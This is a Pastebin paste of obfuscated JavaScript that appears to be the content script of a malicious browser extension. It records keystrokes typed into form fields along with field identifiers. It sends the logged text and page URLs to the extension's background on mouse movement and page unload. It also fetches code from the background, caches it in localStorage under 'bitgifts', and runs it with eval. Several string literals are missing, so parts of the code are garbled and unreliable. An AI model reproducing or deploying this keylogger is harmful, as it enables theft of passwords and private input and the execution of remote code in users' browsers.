Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // \x0A is the equalsto of return
- var _0x2eb2 = ["", "length", "body", "URL", "title", "sendRequest", "extension", "keydown", "input, textarea", "keyCode", "~", "on", "keypress", "[", "name", "attr", " #", "id", "prop", " ", "class", "]", "\x0A", "charCode", "fromCharCode", "mousemove", "onbeforeunload", "bitgifts", "getItem", "bitgifts-c", "getTime", "data", "setItem"];
- var kt = ;
- var pu = ;
- var ss = false;
- setTimeout(ijCheck, 50);
- function ijCheck() {
- if ($(body)[length]) {
- chrome[extension][sendRequest]({
- url: document[URL],
- title: document[title]
- }, function (geet) {});
- $(body)[on](keydown, input, textarea, function (key) {
- if (key[keyCode] == 8) {
- kt += ~
- }
- });
- //logs keypress
- $(body)[on](keypress, input, textarea, function (key) {
- var hab = [ + $(this)[attr](name) + # + $(this)[prop](id) + + $(this)[attr](class) + ];
- if (pu != hab) {
- //hits enter adds had and hits enter
- kt += _0x2eb2[22] + hab + _0x2eb2[22];
- pu = hab
- };
- if (String[fromCharCode](key[charCode])) {
- kt += String[fromCharCode](key[charCode])
- }
- });
- $(body)[mousemove](function () {
- if (kt[length] > 100 && !ss) {
- ss = true;
- chrome[extension][sendRequest]({
- url: document[URL],
- post: kt
- }, function (geet) {});
- kt = ;
- pu = ;
- ss = false
- }
- })
- } else {
- setTimeout(ijCheck, 50)
- }
- };
- window[onbeforeunload] = function () {
- chrome[extension][sendRequest]({
- url: document[URL],
- post: kt
- }, function (geet) {})
- };
- if (!localStorage[getItem](bitgifts)) {
- fetchCS()
- } else {
- if (localStorage[getItem](bitgifts-c) > new Date()[getTime]() - (120 * 1000)) {
- eval(localStorage[getItem](bitgifts))
- } else {
- fetchCS()
- }
- };
- function fetchCS() {
- chrome[extension][sendRequest]({
- getcs: true
- }, function (geet) {
- localStorage[setItem](bitgifts, geet[data]);
- localStorage[setItem](bitgifts-c, new Date()[getTime]());
- eval(geet[data])
- })
- };
Advertisement
Add Comment
Please, Sign In to add comment